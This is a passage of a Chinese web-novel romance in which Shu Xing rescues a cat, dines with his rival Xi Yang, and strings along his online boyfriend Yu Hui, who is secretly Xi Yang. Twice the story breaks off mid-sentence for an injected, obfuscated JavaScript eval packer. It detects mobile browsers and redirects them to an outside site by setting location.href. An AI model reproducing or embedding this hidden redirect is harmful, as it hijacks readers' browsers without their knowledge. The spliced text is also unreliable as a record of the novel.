“连过啊。”习阳瞬间陷入头脑风暴,他有一瞬间以为跟自己网恋的人是个开着变声器的女生。 要不是昨天晚上他和网恋对象还在连麦睡觉,习阳可能真要怀疑人生了。 开变声器的人习阳不是没遇到过,那声音对不对劲一下子就能听出来,他很确定自己的宝宝用的是本音。 所以对方绝对不可能是个女孩子。 习阳很确定地说:“我们说的不是同一个人。” 但习阳的网恋对象如果不是舒星口中的“小行”,那又会是谁,那天接电话的人难道只是个和网恋对象声音相似的男生而已? 习阳感觉自己的心情正经历着大起大落,原先骤然激动怦跳的心在这一刻瞬间下坠,身体的血液好似在逆流,他感觉自己的手都是冰的,掌心的冷汗涔涔地往外冒。 他还有点不死心地问舒星:“你们这儿,还有别的男生吗?我是指会接电话的。” “有啊。”舒星随口一答:“我啊。” 习阳:“……” 算了,应该是找错地方了。 其实当时的那通电话习阳早就已经不记得接线男生的声音是怎么样了,现在一想,应该只是自己太激动听混声音了而已。 毕竟自己的网恋对象,怎么样也不可能是舒星吧! 舒星察觉到习阳看自己的目光中闪过一丝嫌弃的意思,他眉头一皱,好似想赶客:“还有事儿?” 习阳没什么好心情地说:“没事,走了。” “裴医生!裴医生!” 玻璃大门被猛地推开,外面跑进来个女人,面色焦急,眼角还挂了丝泪珠。 那女人踩了双恨天高,跑进门时没刹稳,差点撞上准备离开的习阳。 舒星认出这人是附近美容店的老板娘,平时经常会带着自家猫过来串门聊天。 他看女人这么着急,赶紧迎上去:“怎么啦笑笑姐,裴医生在操作间做手术,这会儿比较忙。” “小舒,小舒!”女人上前握住舒星的手腕,急迫地说道:“我家咪咪跑到二楼的广告牌架子上,卡住出不来了,我抓不到它,快,你帮帮我好不好?” 商业街每个楼层都很高,二楼的广告架一般都是高高悬空着的,舒星经常下班的时候看到笑笑姐的猫在上面走猫步。 只是猫如果卡在那出不来,很有可能会因为剧烈挣扎而掉下来。 舒星往楼上的操作间看了眼,转身朝前台的小姐姐说:“等裴医生出来了跟他说一下,就说我去帮笑笑姐抓猫了。” 女人看舒星答应为自己救小猫,赶紧拉上舒星去二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255726|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼广告架的位置。 “小舒,咪咪就在那里。” 笑笑姐给舒星指了下小猫卡住的位置,是在衔接广告牌的沟渠间。 沟渠不宽,差不多是一个人能落脚的距离,错综复杂的广告架衔接着沟渠壁,并不太方便下去,再加上是二楼,要是一不小心脚滑掉下去也是个大危险。 猫咪痛苦的哀号声断断续续地响起,舒星听着有些心疼,他仔细观察了沟渠间的广告架布局,在找到一处合适的落脚点后准备翻下去营救小猫。 “等等。” 舒星不知道习阳怎么这么闲地跟着自己,他刚转过头就看到身后那人正面色凝重地看着自己。 “这个沟渠翻下去再上来应该不容易。”习阳提议道:“我个子比你高,我替你下去吧。” “我靠!你这时候还要身高攻击!”舒星看他一眼,其实习阳说得也没错,这沟渠易下难上。 只是猫咪在这种危险情况下面对不认识的人可能会产生应激反应,到时候不光不方便救猫,连习阳也可能会被猫弄伤。 舒星想了想说:“还是我去吧,猫咪平时跟我熟,不认识的人接近它可能会应激。” 习阳深眸微动,看着舒星许久才说:“那你注意安全。” 舒星点点头,难得听到习阳说了这么像样的一句人话。 沟渠壁是水泥砌的,边缘很粗糙,舒星翻下去的时候手掌不小心蹭到边缘,掌心被划出了几道红印。 他皱了皱眉,吃痛地搓了搓手,循着猫咪的叫声抓着广告架的杆子一点点跨过去。 猫咪的头卡在了两根广告架的钢杆间,舒星轻声叫唤着猫咪的名字,蹲下身小心翼翼地摸上了它的脑袋。 安抚完猫咪的情绪,舒星捏着猫咪的脑袋,一点点找位置找角度试图把猫从间隙里弄出来。 “咪咪乖,不怕哦。” 猫咪的头卡得有点紧,要把它弄出来免不了要些力气。 舒星等猫咪的情绪稳定了,抓着小猫头慢慢往上抬,他温柔的安抚声混杂着猫咪吃痛的叫声引得楼下走过的路人都会时不时抬头看看发生了什么事。 终于在手里瞬间一松后,猫咪的头被弄了出来。 “啊!是不是出来啦?”笑笑姐在阳台上高兴得不行,“小舒,你慢慢来,小心些,自己注意安全!” “笑笑姐,猫咪救出来了。” 舒星抱着怀里的猫,转身笑吟吟地展示给笑笑姐看。 习阳站在笑笑姐身边,自然也看到了舒星转过身来时的漂亮笑容。 长得好看的人似乎连光也会对他有所偏爱,夕阳的光芒透过广告架照在舒星背后,暖光把他的身影镀得朦胧,就连那张笑颜在此刻也变得有些不清晰了。 当下,习阳心里忽然冒出了个念头。 自己的网恋对象,是不是也像舒星这样漂亮善良,乐于助人。 舒星在下面喊了声,把习阳的思绪拉了回来。 舒星踮起脚把手里的猫递给了笑笑姐,他双手抓着沟渠边缘,因为刚做了件让自己心情舒畅的大善事,舒星此刻脸上挂着如沐春风般的笑容。 他抬起头,眼中含着笑意,亮晶晶的眼眸像两颗漂亮的琥珀石,纯净、无瑕,叫人看了神摇目夺。 “喂!习阳!” “你愣着干嘛呀!快把我拉上去!” 12. 第 12 章 第12章 从二楼回宠物医院的路并不算长,舒星和笑笑姐并肩走在前面逗小猫,习阳慢悠悠地跟在他们身后,看着漫不经心,实际上目光一直没离开过舒星的背影。 大概是舒星那张脸长得太漂亮了,乍看之下就是那种柔弱娇软的类型,所以总会给人一种遇到麻烦只会撒娇寻求他人帮助的错觉。 习阳感觉自己以前对舒星的有色眼镜太严重了,舒星似乎从来都不是他想象中那种软弱的人,除了偶尔有些娇蛮外,对方实打实是个果敢的人。 之前把舒星比喻成“豌豆公主”的误会习阳一直没跟舒星解释过,他感觉今天应该跟人家说清楚自己当时没别的意思。 习阳注视着舒星逗弄猫咪的侧脸,笑意盈盈的唇角勾勒出个好看的弧度。 难怪舒星靠近时总会让自己有过敏反应,原来是因为这人一直在跟小动物打交道。 习阳从小就对动物毛发过敏,他对猫猫狗狗的气味极其敏感,发生过敏时不仅会喷嚏不止,严重点身上还会起红疹,所以在走到宠物医院门口后他就站定不进去了。 他怕进去待久了会过敏。 舒星看着习阳突然停下的脚步,以为是大少爷在等自己先开门呢。 想到刚才救猫咪的事习阳多多少少也出了力,舒星想了想,打开门客套地问:“要不要进去坐坐?喝杯水什么的?” “不了。”习阳拒绝得很干脆,他可能是意识到自己语气生硬,又补充一句:“你去忙吧。” “哦!” “舒星。” 舒星刚转身准备进去就被习阳叫住了。 “还有事儿?” 习阳逆着夕阳的光,像是斟酌一番后慢悠悠地问:“你几点下班?” “啊?”舒星大概是没想到习阳会问这个,他大脑宕机了好几秒,“干嘛?你要等我下班啊?” 换作别的男生,舒星可能会自恋地以为对方可能是在暗恋自己,但说这话的是习阳,舒星总感觉这人不像是安了好心。 无论习阳是出于什么原因问出这句话,舒星下巴一扬,有点酷酷地先一步拒绝:“要约我?我一般凌晨才下班。” 习阳一愣:“这么晚?” 果然每家宠物医院都很剥削啊。 “不然呢?”舒星装样子装到底:“我很忙的。” “小舒。”身后裴淳刚忙完手术下楼就看到舒星站在门口和别人聊天,两个人看着年龄相差不大,对方又没有带宠物,裴淳猜测那人应该是舒星的朋友。 舒星循声转头:“裴哥。” 裴淳朝习阳微微一笑,算作打招呼,转而又问舒星:“你朋友?” “他不……”舒星那句“不是”还没说出口,就听到身后的习阳清朗地朝裴淳说了句“你好。” 裴淳点点头:“朋友在等你下班吗?”他扫了眼店里似乎不怎么忙,便说:“正好我空了,要不你提前下班吧,和你朋友好好去玩玩儿。” 说自己凌晨下班且很忙的舒星:“……” 习阳闻言歪了下头,俊气的眉毛微挑,似乎是在说“现在总有空了吧”。 舒星有些无奈地接受了提前下班的事实,从休息室换完衣服出来,没什么好气地问习阳:“说吧,你有什么事?” 习阳开门见山:“一起吃个晚饭?” “吃晚饭?一起?”舒星以为自己听岔了,撇撇嘴不是很乐意的样子。 舒星从没和习阳在学校食堂以外的地方吃过饭,平时他经常听到何文楠和程新宇说起习阳请寝室的人吃了大餐,但挑的都是休息天舒星要兼职的日子。 想到习阳带程新宇他们去的都是四五位数的餐厅,舒星可不想花大钱和这人搞AA制晚饭。 舒星委婉拒绝道:“我觉得,吃晚饭没必要吧……” 习阳大方地说:“我请你,餐厅你挑。” 一听到习阳要请客,舒星眼眸登时明亮闪闪,果断答应下来:“行,我要吃市中心最贵那家法餐!” 习阳:“可以。” 舒星又坐了回习阳的限量款跑车,他一上车就看到习阳开了瓶矿泉水递过来。 本着对习阳这人的警觉,舒星谨慎地接过水:“谢谢啊。” 习阳声音淡淡的:“不客气。” 车一直不发动,舒星余光瞥到习阳从中控台拆了颗小药片就水服下,脑中一下子联想到了国外富二代嗑药的社会新闻。 舒星虽然和习阳关系不好,但也是不希望习阳走上歪路的。 他惊诧地眨着眼睛问:“你在吃什么?!” 习阳被舒星的质问吓了一跳,差点把药片呛在嗓子眼。 等药彻底咽下后,习阳瞥了舒星一眼,解释说:“抗过敏药。” “你过敏啦?” “暂时没有,预防一下。” 以前刷短视频的时候看到过经常过敏的人会随身携带抗过敏药,过敏原似乎分为很多种,有些人甚至会对冷空气过敏。 上帝看来还是给这人关了扇窗的,至少自己不会时不时过敏。 舒星不是很想探究习阳是因为什么而过敏,他只“哦”了一声掩盖自己的误会。 市中心的那家法式餐厅需要预约,舒星和习阳到店的时候被门口的侍应生拦下了,原本舒星还以为今天蹭饭要泡汤了,没想到习阳找餐厅经理交涉了一番后,对方给他俩留了个vip包厢出来。 舒星坐在包厢里询问了习阳能临时就餐的原因后才知道,是习阳追加了三倍服务费和补偿原预订人一笔钱后才换来的这个包厢。 “有钱人无所不能”这句话此刻在舒星脑中瞬间具象化了。 只是那句“破费了”舒星一直卡在嘴边,怎么也说不出口。 大概是觉得有些不好意思,舒星反倒在心里安慰起自己,这是习阳主动请客,自己又没把刀架人脖子上逼他。 法餐是根据配套的餐谱上菜的,不过舒星吃得比较慢,上一道还没吃完,下一道就已经被侍应生端上来了。 吃饭的时候习阳基本上不怎么和舒星聊天,好像他们俩就真的只是来吃顿饭而已,而且还不像是两个相熟的人一起就餐,倒像是拼桌吃饭的陌生人。 舒星觉得没劲,一边吃饭一边刷着自己的社交平台。 距离上一条秀表的动态已经过去两个多月了,评论里已经有粉丝在催他赶紧更新近期生活了。 可是最近舒星白天在宠物医院上班,晚上下了班就回家陪网恋对象打游戏,都没关注过什么新款奢侈品,这叫他怎么发最新动态嘛! 上菜进度已至尾声,最后是道餐后甜点,侍应生介绍说叫作“漂浮岛”。 其实就是蛋奶酱和蛋白霜的结合,周围一圈放置了几片草莓做点缀,味道比较一般,但胜在摆盘很精致。 舒星只是尝了一口就放下了勺子。 他看着没怎么动过的甜品,忽然萌生出了一个念头。 “哎,习阳。”舒星朝着对面在刷视频的习阳叫了声,他微微探出身,慢慢勾起唇露了个甜甜的笑容。 习阳抬眸时被舒星的笑容晃了一下,微愣过后他问:“怎么了?” 舒星递出自己的手机,笑眯眯地说:“帮我拍几张照片呗?” 习阳:“……” “我不擅长拍照。” 有点拒绝的意思,可是舒星觉得这个高档餐厅的场景自拍没什么意义,他不死心地说:“没事,我长得好看,你随便拍两张。” 习阳看着递在空中 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习阳桌下的拳头实在忍不住了,但视线重新落回舒星那张脸,在对上那双天真期待的茶眸时,他抬起的拳头瞬间张开五指,有些无奈地再次接过了舒星的手机。 接下来的时间里,习阳就像个无情的手机支架,听候着舒星的调遣。 换成前置相机之后的照片就是拍得好,意图出片的信念在这时达到了顶峰,舒星都顾不上对面还坐了个自己讨厌的人了,对着手机屏幕忘我地凹了好几个动作,有端着甜品的,有举着杯子的,总之,怎么做作怎么来。 直到拍到手机跳出低电量的提示,舒星这才怏怏罢休。 习阳也是脾气好,硬是等舒星彻底没了拍照的念头后才提议走人。 出了餐厅,舒星因为晚上拍了不少美照,心情大好地朝习阳笑了笑:“今天谢谢你请我吃饭啊!” “嗯,不客气。”习阳大概是拍照累了,说话语气有点淡。 舒星习惯了习阳这种不咸不淡的语调,出了餐厅没多远就有地铁站,这会儿时间还早,舒星正好还能坐地铁回去,省下一笔打车费。 “你住哪儿?我送你回去。” “不用了。”舒星下意识拒绝习阳的提议,他现在住的地方是网恋男友租的房子,以他自己平时兼职的薪资就算暑假猛干俩月也付不起那公寓的租金,他虽然很想在习阳面前秀一下自己住的地段有多好,但秀完之后万一人家问东问西的话解释起来就很麻烦了。 舒星不想在这种小事情上给自己讨麻烦,他摆了摆手说,佯装替习阳省事:“我坐地铁回去就行,你早点回吧,不麻烦你了。” 习阳也不勉强舒星,他想着这会儿时间还早,回家正好还能和自己的宝宝玩会儿游戏。 “走了哈!”舒星晃着细胳膊朝习阳挥了挥:“拜拜!” “等一下。”习阳突然想到今天请舒星吃饭的目的,猛地伸手拉住了已经走出几步的舒星。 舒星有些木讷地看着习阳紧抓着自己的手,腕间覆上来的掌心好像带着灼热,烧炙着舒星的神经。 “干……干什么?” 习阳察觉到自己的动作有点失礼暧昧,他在舒星问话的瞬间松开了手。 “没什么,只是有件事一直没跟你说。” “哦,什么事,你说吧。” “我是想跟你说……”习阳脑海里过了一遍自己想说的话,但每一句好像都很难解释清楚自己当时说的意思。 头脑风暴好一会儿后,习阳眼眸垂了垂,声音有些真诚地说:“你……不是豌豆公主。” 13. 第 13 章 第13章 舒星有些愣愣地坐着地铁回到家,直至洗完澡,温水冲醒了他的思绪,这才让他回过神来。 回忆着和习阳分别时对方说过的话,舒星这才意识到习阳那是在跟自己道歉。 一瞬间,那种熬出头的得逞般的情绪涌了上来。 在说自己是“豌豆公主”这件事上,舒星终于等到了习阳的道歉,能让习阳这样高傲又冷冰冰的人对自己低头,舒星耿耿于怀了那么久的事终于在今天放下了。 舒星越回味越爽,怪不得今天习阳突然要请自己吃饭呢,原来是为了道歉做铺垫,那自己就大度点原谅他好了! 精修完今天在法餐厅拍的照片,余晖的消息突兀地弹出来,舒星这才想起来自己今天已经一整天都没有回对方信息了。 余晖发来的未读消息不多,最近一条就是问他下没下班。 舒星看了眼时间,这会儿一般都是他平时下班刚到家的点,估计对方是掐着时间点问的。 只是今天下班早,舒星忘记跟余晖说了。 看着余晖的信息想了很久,舒星不知道该不该跟对方说自己今天和讨厌的人一起吃了晚饭的事儿。 毕竟自己在余晖面前吐槽了习阳那么多次,结果今天转头就被人家请的一顿饭吸引走,这多少显得有点儿没骨气。 算了,也没什么好说的。 舒星就打了句“刚到家”回过去。 余晖的语音电话很快就打来了,通常这会儿两个人就该甜甜蜜蜜地上线一起打游戏了。 “宝宝,现在有空上线吗?” “有,你等我一下。” 舒星接着语音走到了隔壁电竞房,登录游戏后就看到余晖的游戏角色正穿着炫酷的绝版套装站在交友岛上等着舒星。 余晖的角色旁边还有不少穿着其他样式绝版套装的人,那些都是游戏公会里的好友。 这个游戏公会是余晖拉舒星进去的,里面的玩家都是氪金巨佬,舒星沾了余晖帮忙氪金的光,在里面也成了一方大佬。不过公会里的人都清楚舒星的号是余晖真金白银供起来的,很多人都对舒星收藏榜前五的身份颇有微词,但碍于余晖榜一的面,他们只敢在私底下蛐蛐人。 今天交友岛上的公会好友比往日更多,很多人都穿上了自己最贵的那套游戏服饰,像传.销组织开会似的聚在一起,有种要和谁约网络骂战的架势。 这些人的游戏套装流光闪烁、特效耀眼,还好余晖给舒星买的电脑配置高,不然靠近他们不知道游戏界面会卡成什么样的ppt。 游戏公屏上已经有路人玩家在吐槽了,说是大佬们开大会,不顾路人小透明的CPU死活。 余晖一般都不看公屏界面的信息,只关注公会聊天。 舒星看到了路人的发言,顺口读了出来,还笑了一下调侃道:“万一真把人家CPU烧了,你们是不是得给人家点补偿?” 余晖听完愣了下,说:“好。” 舒星还没反应过来余晖说得哪门子“好”,就看到游戏界面弹出了许多条系统公告,上面显示着余晖给xxx玩家打赏了多少金条,公屏上的抱怨消息瞬间都变成了“谢谢爸爸”。 游戏金条是可以在现实平台卖掉还钱的,当然也需要真实的RMB冲进去,舒星眼看着余晖在短时间内打赏出好几万,小嘴诧异地张成了个圆形。 这傻子,是不是有钱没地儿花啊!!! 舒星心疼余晖的钱,更心疼这钱不是打赏在自己头上,换算成转账存入余额宝里真不知道自己每天又能多赚多少利息! “你搞什么啊余晖……”舒星看着不属于自己的钱如流水般消失,心痛得说不出话来,他知道自己不该对别人的钱有太多控制欲,但还是忍不住说:“你在cos送财童子?” 余晖语气温吞地说:“你不是说要给他们点补偿吗?” 舒星:“………” 人家CPU还没烧呢!!! 舒星闷闷地扯开话题:“今天聚这么多人要干什么呀?” “霓心说要公会的人一起拍个全家福。”余晖察觉到不对劲,疑惑道:“他没有跟你说过?” “哦,没有……”完全没人通知过舒星这件事。 这个霓心是公会会长,也是余晖以前固定的奶妈队友。 自从舒星代替了余晖固定奶妈队友的位置,霓心就对舒星产生敌意了,公会里面蛐蛐舒星榜五地位注水的事也是从这个人口中传出来的,只不过真等余晖深究这件事的源头时,霓心又跳出来激情抨击这个所谓的“源头”敢这么说自己的好朋友,一言一行简直可以说比舒星还绿茶。 这次霓心故意没通知舒星拍照片,很明显也是想特意把他排挤在外。 果不其然,舒星很快看到了霓心在公会聊天界面的茶言茶语。 霓心:【哎呀,我以为我叫了行书宝宝的,看我这脑子,居然忘记了5555】 霓心:【行书~都是我的错啦,不要生气好不好~】 霓心:【行书宝宝~看在余晖的面子上原谅我一下嘛~】 好恶心,好肉麻。 舒星被屏幕上的字恶心得浑身难受。 而且明明舒星对拍照这事一点情绪也没有,霓心这番话倒是让别人先入为主地认为自己是个恃宠而骄的“公主”。 恃的当然是余晖的宠。 舒星有点无语,霓心的茶言茶语明显是发给余晖看的,但他不知道的是,舒星正在和余晖甜甜蜜蜜地连着麦,而此刻,余晖叫他“宝宝”时沉闷的呼吸声正通过手机扩音器响彻整个房间。 舒星看着霓心不断刷屏的道歉信息,夹着嗓子柔柔地叫了声余晖的名字,说:“余晖,霓心在叫我宝宝欸,我好像不是你一个人的专属啦!” 语音那头的余晖沉默了好几秒,随后舒星就看到公会聊天界面余晖替舒星回了条信息。 余晖:【他没生气,还有,你别用宝宝称呼他,我会不爽。】 余晖的信息一发完,原本只有霓心一个人演戏的公会聊天频道很快多了几条信息。 天意:【就是说!人家是你宝宝吗你就乱叫!】 天意:【霓心,下次要叫人嫂子知道不?】 天意:【一天天的,招揽成员的事干不好,就净会给人家小两口添堵了。】 这个游戏id叫天意的是公会里的元老,是余晖的现实好友,对方平时在游戏里和舒星的关系也不错。 看到霓心被两哥们怼得无话可说,舒星在屏幕前笑都快憋不住了,最后实在忍不了,轻轻笑了声说:“余晖,你好容易吃醋哦!” 余晖轻轻“嗯”了一声,随后又理直气壮地宣示着主权:“只能我一个人这么叫你,别人不可以的。” 堪比看了一场爽剧的舒星宠溺地回应着余晖:“好好好,知道啦。” 霓心做戏被怼的事就像个短暂的笑料般过去了,公会全家福依旧得拍,霓心忍着一肚子气指导大家的站位,好几次搞错了位置还被其他成员不爽地嘈了几句。 既然是全家福,自然是有C位配置的。 有余晖榜一的身份在,加上舒星和余晖一直是游戏圈子里的神仙眷侣,全家福的C位必然是他俩站的。 整个收藏榜的前十都在这个公会里,剩下八个玩家簇拥着舒星和余晖分两边站,而霓心不在前十排名列表,只能往后稍。 霓心好不容易组织了个公会大团圆,就是奔着能和余晖一起站C位拍照片炫耀来的,结果这下目的没达到还给别人看了笑话,气得他拍完照就直接退游戏下线了。 舒星今天没什么打游戏的欲望,他拍完大合照在交友岛站了会儿也下线了。 语音一直没断,舒星能听到余晖那头敲击键盘的操作音。 上床之后舒星甜甜地叫了余晖声“宝宝”。 余晖停下手里的操作,拿起手机凑近收音处问:“怎么了?” 舒星也不知道为什么要突然叫人家,大概是因为太无聊了,所以舒星补了句:“没什么,就是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255728|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你了。” “我也想你。”余晖温柔的语气夹杂着暧昧的黏腻,似乎只是一句想你不够,余晖又连续说:“好想你好想你。” “宝宝,宝宝,我每天都很想你。” “好想你哦。” “宝宝,好想见见你呀,你一定很可爱吧!” 舒星被一连串的“想你”砸晕了头,又聊到了见面的话题,舒星斟酌着怎么让余晖打消这个念头。 想了半天,舒星想不到很好的解决方法,毕竟他现在住的地方是余晖挑的,只要人家想,随时都能来。 之前舒星用希望第一次见面能约在正式场合的话就像道德绑架般约束着余晖,有时候舒星感觉自己还挺会PUA余晖的,随便几句话就能让人家又听话又转账的,要是以后他俩谈崩了,自己不会被告诈骗吧…… 就这么晾着余晖每次提议的见面请求也不好,不如想个办法,给人家点希望,随便估摸个奔现的时间,到时候等时间到了再用别的理由推脱一下,直到拖到自己毕业再正式见面似乎也不是不行。 好像是个好办法。 舒星想到办法就实行:“宝宝,你真的很想很想见我吗?” 余晖一愣,以为舒星终于同意自己的奔现请求了,他的语气就像只等待主人投喂美味零食的小狗,雀跃又小心地说:“当然啊,我很想很想见你。” 舒星抿了抿唇,有些不道德地说了个时间糊弄余晖:“那要不……在我们纪念日的那天见一面吧?” 小狗终于吃到了自己心心念念的零食,兴奋的感觉都快冲破手机扩音器了。 余晖的声音带着克制的喜悦:“好啊,宝宝,我都听你的。” 舒星:“……嗯。” 晚上睡觉,舒星为自己又一次骗余晖而感到不安起来。 舒星向余晖撒了很多谎,只有这一次他突然产生了这种心慌的感觉。 他知道这么做不对,但是也没有办法。 他需要有个人能给自己金钱支持的同时不会接触到自己的真实生活,这样不仅能让自己能在社交平台上大肆炫富给高中同学看自己过得有多好,又不会在现实中拆穿他是个多么爱慕虚荣的人。 郁闷心慌的情绪仅停留了不到十分钟就消散了,因为舒星想起来自己今天精修好的照片还没发到社交平台! 本市最高档的法餐欸,坐的还是vip包间,这种照片怎么能不大肆炫耀一下! 编辑好凡尔赛文案,在照片上给自己的正脸打了点贴图表情遮挡后,舒星点击发布,美美地切回相册欣赏起自己的照片来。 人在欣赏自己的美颜时是不会顾及身边的人说了什么的,余晖在语音里絮絮叨叨说着今天发生的日常,他说着自己去了哪里跟谁吃了饭,乖巧地汇报着自己今日的行程,然而舒星却无暇顾及,只能随口应和几句。 等舒星回过神时,余晖早就讲完多时了。 舒星不知道余晖刚才说了什么,他感觉自己这时候问句“你刚才说什么”显得自己先前的那些回答很敷衍,索性就当自己真的有在认真听,不多过问了。 等新发布的动态有了许多人点赞和评论之后,舒星才安心地关屏睡觉。 余晖还在打游戏,舒星好奇他在跟谁玩,就随口问了句。 余晖说是在带自己的室友打竞技场。 舒星困倦地打了个哈欠,他知道余晖和自己一样大,余晖这会儿也是个大学生,有室友挺正常的,舒星就“哦”了声没细聊。 困意袭来,舒星翻了个身,脑海中莫名其妙闪过今天发生的事。 总感觉好像哪个环节有不对劲的地方…… 习阳为什么会出现在宠物医院呢?他说自己找的人不是邢妮,那又会是谁啊? 不对啊,习阳说他找的人是他的谁来着…… 舒星闭着眼睛思索了会,想到答案后他瞬间清醒睁眼。 习阳好像是在找他的网恋对象! 而且,习阳的网恋对象似乎也是个男的!!! 14.第 14 章 第14章 “我靠,习哥你为什么不动了!” “习哥?习哥?咋不说话啊?” “完了!习哥是不是断网掉线了!” 语音软件里,程新宇和何文楠两个人像小鸡崽找妈妈一样唤着习阳的名字。 习阳说好上自己号带他俩打竞技场上分来着,结果这还没玩几局就挂机玩起了失踪。 跟习阳的号组队匹配到的一般都是大神级别的人物,两个小鸡崽一个老玩家回归还没摸清楚游戏新模式,另一个刚出新手村技能都不知道怎么点,在竞技场里被对面的人捻蚂蚁似的按着打死好几次。 偏偏这些人好像跟习阳认识,哪怕习阳在那挂机也没有敌方玩家去揍他。 眼看着对面的击杀积分接近最高值后输掉比赛,程新宇和何文楠蔫蔫地退出游戏界面,两个人还是不死心地在麦里叫了几声习阳的名字,试图把大腿子找回来。 习阳终于把语音电话那头的网恋对象哄睡着,刚回到语音软件就听到何文楠那大嗓子在嗷嗷叫,吓得习阳赶紧点了和网恋对象语音界面的麦克风按键,等确定闭麦了才放心下来。 他的网恋对象好不容易早睡一次,可别又给人家吵醒了。 程新宇输了竞技场,刚被习阳带上去的分一局下来全扣光了,他心里有些埋怨习阳挂机,嘴上嘟嘟囔囔的:“习哥,你刚才干嘛去啦!我和陈文楠被人当猪杀呢!” 习阳随意回道:“有点事。” 程新宇有说:“什么事儿啊!能有我俩重要?” 习阳明显笑了声,语调悠扬:“嗯,有。” 程新宇刚想反驳呢,就听陈文楠突然在语音里大叫了声,吓得他耳膜一震荡。 “我去!我去!”陈文楠点开了习阳的资料卡,赫然看到了人物展示界面习阳游戏角色的华丽服装,以及他人物身边同样穿着精美服饰的陌生角色。 那个id叫作“行书”的男性角色被习阳的角色搂在怀里,姿势亲密的同时还有满屏的粉色爱心。 陈文楠已经不是初出茅庐的菜鸟了,他看得懂这界面意味着什么,突然摸到八卦气息的味道,他跟个雀鸟似的问起来:“习哥,你哪儿来的情缘?你俩啥关系啊?是你对象吗?你谈恋爱了?对方是咱们学校的吗?” 程新宇听到陈文楠的话赶紧点开习阳的资料卡,果不其然看到了那暧昧亲密的角色互动,他眼睛比陈文楠尖,还注意到了右上角两人的满级亲密度。 这游戏亲密度想到达满级得每天24小时不间断组队下副本至少超过半年才能打满,平时也没见得习阳经常在寝室里玩这游戏啊,这么一想这两个人绑定情缘的时间已经很久很久了。 习阳听完陈文楠连珠炮般的问题也没出声,他愿意上大号带他俩打游戏就已经不怕曝光自己有网恋对象的事儿了,正好他的宝宝今天同意和自己线下见面了,这段感情迟早会让他们知道。 早说晚说都一样,习阳故意拖了会儿回答的时间,在陈文楠和程新宇一阵急促的八卦劲中,他水灵灵地出了柜:“嗯,我男朋友。” 由于出柜得太丝滑,陈文楠和程新宇的大脑还没及时拆解分析这条信息,就听到习阳继续接了句:“不是我们学校的,下次带你们见见。” 语音软件陷入一阵漫长的沉默,习阳知道这两个人大概是脑子宕机了,他贴心地给了他们缓和的时间。 几分钟过后,语音里传出两个人大鹅般的嗷叫。 “卧槽卧槽卧槽卧槽!” “男朋友是什么意思?是我理解的那个意思吗?我去!!!” 习阳轻笑道:“不然呢?” 程新宇和何文楠两个人惊掉下巴:“我靠——” “习哥,嫂……男嫂子长啥样啊?帅不帅?有照片吗?” 习阳想了下:“声音很好听,性格也可爱,不过我还没见过他。” 何文楠“啊”了一声,道:“那你还说要带给我们见见!” “急什么。”习阳说:“我们约了开学后见面,等我们见完面了,不就能带给你们认识了?” 何文楠:“哦,有道理!” 随后,何文楠又拉着程新宇抨击习阳偷偷谈恋爱是背叛寝室,背叛组织,违背了寝室条例。 习阳又懒洋洋地解释:“我们在上大学前那个暑假就绑定情缘关系了,别说条例,当时你们俩在哪儿都不知道呢。” 程新宇和何文楠被怼得没话说了,两个人本着对小情侣的祝福,只好酸酸地说句:“祝99。” 实际上习阳和对方确实只是在暑假绑定了情缘CP关系,当时并没有在一起,只是单纯方便组队副本加成而已。他俩真正在一起已经是大学开学后的事了,那会儿行书基本上很少上线,但他俩的聊天依旧没断过,习阳察觉自己对行书的不仅仅是游戏队友的依赖后就向对方表白心意提了在一起网恋的事。不过这事儿就没必要告诉程新宇他们了。 “行书,行书。”程新宇叫着习阳对象的id,感觉怪顺口的:“这昵称还挺好听的。” 何文楠倒是纳闷起来:“话说习哥你为什么叫余晖啊?怎么不改个楷书或者草书?这样一来你俩不就是情侣id了吗?” 习阳还没说话呢,程新宇倒是赶紧搭腔:“你懂啥,夕阳余晖,谐音梗呗!” 何文楠登时觉得好有道理,不过想到谐音梗,他又多读了几遍“行书”这个id,总觉得哪里怪怪的,不对劲儿,但也没多想。 看着习阳资料卡上挂着好看的情缘动作,程新宇和何文楠两条单身狗没多久就开始眼红起来,双方叫嚷着也要凑在一起组个情缘,结果看到游戏商店的婚戒价格又望而却步了。 游戏婚戒的价格贵得要命,最高那个直逼两万,就连最低档的都要花六百多。 何文楠暑假被家里断了经济来源,半个字儿都掏不出,倒是程新宇最后咬咬牙冲了个648,强迫着何文楠绑定了个情缘CP。 绑完CP两个人还腻歪地改了个情侣id,这俩大直男搞起暧昧来就是不羞不臊,接下来一整晚都在那“老公”“老婆”地互叫,把习阳雷得不行。 - 暑假在宠物医院做全职不如兼职那么轻松,兼职下班时间很固定,但全职总会遇到加班,对舒星来说还是有点熬不住。 时间一久,舒星每天下班后累得回家只洗个澡就钻被窝里了,游戏也懒得再打开,平时除了和余晖连麦闲聊外别的什么事儿也不想干了。 好不容易熬到快开学,舒星想着新学期要忙很多事儿,就跟裴淳暂时辞了周末的兼职。 裴淳人很好,不仅答应了舒星的辞职还多给了他不少暑假期间的薪资,等舒星上完最后一天班,裴淳还特意请舒星吃了顿饭,说是以后空了欢迎他随时回来做兼职。 